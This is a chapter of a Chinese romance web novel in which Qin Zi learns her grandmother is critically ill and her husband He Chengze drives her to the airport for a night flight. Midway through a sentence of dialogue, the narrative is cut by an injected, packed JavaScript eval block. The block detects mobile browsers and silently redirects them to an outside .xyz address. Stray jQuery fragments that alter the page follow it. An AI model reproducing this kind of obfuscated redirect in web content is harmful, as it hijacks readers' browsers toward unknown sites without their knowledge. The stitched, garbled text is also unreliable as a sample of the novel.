20. 电话

作品:《婚后宜动心

    “好。”


    直到秦恣一溜烟跑回房间,贺承泽还没从刚刚那个吻里回过神。


    他抬手轻触那一小片被她嘴唇垂怜过的皮肤,又麻又痒的感觉仍盘旋在原地,将他的心搅成一团乱麻。


    贺承泽意识到,她的无心之举,造就他今夜注定失眠。


    客厅,电视机上播放的节目正到了最搞笑的片段,笑声与掌声回荡着,房子内的两个主人却谁都无心观看。


    秦恣飞扑到自己柔软的大床上,将被子在身上严严实实裹了两三圈,舔舔上唇,感受着自己蓬勃的心跳。


    门外,有厨房油烟机嗡嗡的抽气声,有食材接触油锅时水分蒸发的沙沙声,还有夹在其中电视节目的吵闹声。


    或许,这就是她从小就在憧憬的,温馨又平淡,充满烟火气的生活。


    说实话,她也摸不清自己今天为什么如此大胆地主动亲吻他,只是当时心情不错,眼前纯情的大帅哥实在养眼,荷尔蒙驱使之下,那个吻来得突然又合理。


    秦恣无法解答的问题,另一个人心中却有清晰的答案。


    厨房内,贺承泽深深吐了几口气,重新将袖口挽好,紧接着洗菜切菜,努力让自己的大脑放空。


    秦恣点的两道菜不算复杂,贺承泽很快就能处理好。只是心不在焉,差点被预热好的锅烫到手。


    那个吻,无关悸动与感情,只是她心血来潮的举动。


    秦恣从不将自己柔软的一面示人。


    刚才发生了那样尴尬的事情,她第一反应不是脸红害羞逃跑,反而强势地用笑来掩盖自己的慌乱,甚至反客为主地大胆反撩。


    并不是贺承泽在内心矮化秦恣的行为动机,而是她的演技太过拙劣。像还没学会开屏的孔雀,迈着雄赳赳气昂昂的步调,假装自己有多么神气。她的虚张声势太过浮于表面,实际上,对于那盒安全套,她甚至不敢多看一眼。


    她似乎很怕自己在他们这段关系中处于弱势。


    她演久经情场的风流老手,不过是怕贺承泽看穿她在亲密关系中的单薄与无助。就像总有贫穷的人想办法炫富,没读过书的人总爱伪造文凭,作恶的人宣传伪善的好名声。


    秦恣是其中,最缺爱的人试图伪装自己得到的爱多到泛滥。


    虚张声势,是缺乏安全感的人用于保护自己的手段。


    客厅的手机铃声再次响起,贺承泽分神去看,只见秦恣又突然从卧室窜出来,飞速接听。


    “今晚打来这么多电话,你最好有正事。”


    她背对着厨房,嘈杂的环境音让贺承泽并不能听清楚她在说什么。


    “小恣,你快回来吧好不好?阿姨真撑不住了,你奶奶被下了病危通知书……”


    二十多分钟后,抽油烟机被关闭,整个家里忽然变得格外安静。


    贺承泽将饭菜端到餐桌上,却不见秦恣的身影。


    来到她的衣帽间门口,却隐隐听见里面窸窸窣窣的声音。


    “在忙吗,可以吃饭了。”


    “抱歉。”


    秦恣很快将门打开。


    架子上的衣服并不算整齐,还有不少堆叠在柜子里,显然有翻找过的痕迹。


    秦恣蹲在地上,面前是摊开并整理得差不多的行李箱。


    “临时有事我要回瑞城一趟,今晚的机票。”


    瑞城是秦恣高中以前的家乡。刚结婚时贺承泽偶然听她提起过,此后便再无其他讯息。


    “我开车送你去机场。”


    贺承泽反应很快,几乎没有犹豫便查询起最近的航班信息,并顺便关注了一下那边的天气。


    “不用麻烦,你在家吃晚饭吧,我叫了车,自己过去就好。”


    她利落地将箱子扣上,然后打开手机备忘录查看有没有遗漏忘带的物品。


    “这种时候更没必要跟你的法定丈夫客气了。”


    贺承泽帮她将箱子竖起,秦恣后退一步让路,却猛地撞到了身后的衣架。


    “啊……”


    “小心!”


    或许是因为衣架的承重太过有限,秦恣堆放了太多的衣物,轻轻一碰便塌陷了下来。


    当初装修时,她图方便听信了网络博主推荐的“自定义挂衣杆”,即省去定制衣柜,自行安装可调节的挂衣杆与衣架铺满正面墙。


    起初确实又简洁又方便,可后来随着她的衣服越买越多还无暇整理,这才造成了今天的“事故”。


    秦恣被压倒之际,贺承泽飞速伸手护住她的后脑勺,自己充作她与地板之间的缓冲垫。


    两排衣架的重量压在身上并不算轻,更何况还要加上秦恣那“成吨”的衣服。


    她紧闭双眼等待着疼痛来临,没想到却结结实实扑进了贺承泽的怀里。


    他的手臂替他分担了大部分重量,因此秦恣并未受到半点创伤。


    “你没事吧?”


    她连忙起身,顺带将“湮没”两人的衣服扒开,腾出一小片空地拉贺承泽起身。


    “第一次进你的衣帽间,没想到藏了这么大的惊喜。”


    他活动了一下手肘,紧接着将被压住的行李箱提出来。


    有些意外,他居然在这种情况下还能开得出玩笑来。


    “时间有点赶,先送你登机吧。”


    秦恣似乎是被刚刚那一下砸的有些懵,全程被贺承泽隔着衣袖拉着手腕,走出家门坐上电梯,直到被系好安全带坐进他车里。


    贺承泽全程拎着她的行李箱,直到放进后备箱开启导航。


    “证件带齐没有?”


    “啊?嗯嗯……”


    秦恣显然还没回过神,像个小学生一样乖乖回答老师的问题。


    他甚至都没多穿件外套。


    “对不起。”


    车子很快驶离,贺承泽选了条不太堵的高架,此刻车窗外夜色早已浓郁,路灯飞速地后退,一盏接着一盏由挡风玻璃跳到车窗,紧接着离开视线范围内。


    “又道歉。”


    他目光没离开前方,却腾出一只手,有些犹豫地揉了揉秦恣凌乱的发顶。


    “害你不能安心吃晚饭,还被不靠谱的衣架暴击。”


    “你走了我自己鸠占鹊巢,这点小代价不算什么。”他轻笑,试图缓解她此刻紧绷的情绪。


    “那就给你占着好了。”


    秦恣用手简单理了理自己的长发,刚才着急出门,被砸到之后甚至没来得及照照镜子看一眼自己的形象。


    “放心,你有什么事尽管去做就好了,我替你守着家,给你的多肉和绿萝浇水。”


    从前秦恣家中除了她自己,没有第二个活物。


    刚辞职的那周周末,她闲来无事去逛花鸟市场,查了好久才选中这两盆最好养的植物来练练手。


    相较她而言,贺承泽看上去经验丰富很多,指导她绿萝喜阴需要避强光,多肉耐旱不能勤浇水。


    那天之后,他的每日清单内除了提醒秦恣吃药,还多了在她遗忘浇水的时候给两盆植物补水。


    “贺承泽,我奶奶被下病


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630096|154744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    危通知了。”


    半晌她突兀地开口,声音有些飘,贺承泽不知该说些什么才好。


    很久之前,他曾亲耳听到过她提起过去家里的事情。


    而现在,对于她的这位亲人,他摸不清秦恣的态度。


    别说是他,就连秦恣自己也想不清楚,自己现在是难过多一点,还是解脱多一些。


    “手机勤充电,随时保持联系,有事跟我打电话,我不会关机。”


    他没什么用来安慰她的话。


    不过仅此,就是对她而言最大的慰藉。


    如果他能时时刻刻陪在她身边就好了。


    某一瞬间,贺承泽余光看到副驾驶呆滞的秦恣时,心底会升起这种越界的保护欲。


    记忆朦胧间,他隐约想起她承诺他以后有机会带自己去见她的家人。


    不过显然这次,她并没有带他一起的打算。


    两人一时间相顾无言。


    很快,他将车停在了航站楼的临时停靠点前。


    “瑞城比A市冷,自己照顾好自己。”


    他贴心地将行李箱取出,末了短暂地叮嘱道。


    “你也一样。”


    秦恣想起,几个小时前他们还笑着在厨房胡闹。


    意外就是会永远将人打得措手不及。


    她隐隐明白过来,为什么自己今天会格外排斥继母打来的那几通电话。


    虽然她每次打来都没什么好事,但秦恣就像提前感知到什么一般,不想给她通知自己噩耗的机会。


    时间来不及多道别,她入内拉着箱子排队安检。


    从她十几岁离开家之前,奶奶身体一直不算太好。


    或许是经历了她爸妈一地鸡毛的琐事,这些年老人家大病小病不断,几乎不曾与医院断绝往来。


    印象里,儿时起她便虔诚地信仰着某路神仙。


    奶奶给秦恣的印象永远是质朴的、慈祥的。


    她不理解这样一个一心向善的人会有什么贪念想要实现。


    如今想来,那些五体投地的信服不过是为了赎罪,赎一场世人无法宽恕的罪。


    在父母荒诞的婚姻之下,奶奶是唯一庇护过她的人。


    带着那份童年时的滤镜,秦恣至今都心甘情愿地每年汇去一笔不菲的医药费。


    可亲情于秦恣而言不过一场连绵不绝的酸雨。


    明明看上去并不致命,但一点一滴总会在午夜梦回时腐蚀着她残存的理智。


    很快,秦恣顺利登机。


    夜晚的航班,舷窗外并不能看到什么风景。


    起飞前,她简短地同贺承泽报了个平安。


    没等得到他的回复,空姐便来提示开启飞行模式。


    颠簸过后,她靠在头等舱的座椅上,半梦半醒地睡去。


    如果她早点认识贺承泽就好了。


    他真的是个令人感到心安的伴侣。


    如果他们早点相识,是不是在她数不清的无助的夜晚里,他都能陪在她的身边,跟她说“秦恣,我在。”


    人在脆弱时,总是会格外贪恋那一丝丝的关爱。


    不过只要睁开眼,她就还是那个百毒不侵独立强大的秦恣。


    贺承泽到家以后,秦恣的航程已快过半。


    桌上是冷掉的饭菜,电视上,她没来得及关掉的节目早已不知道自动播放了多少期。衣帽间里的一地狼藉,似乎还昭示着她离开前的温度。


    只是短暂的分开一下而已,怎么他却已经开始感到不舍了。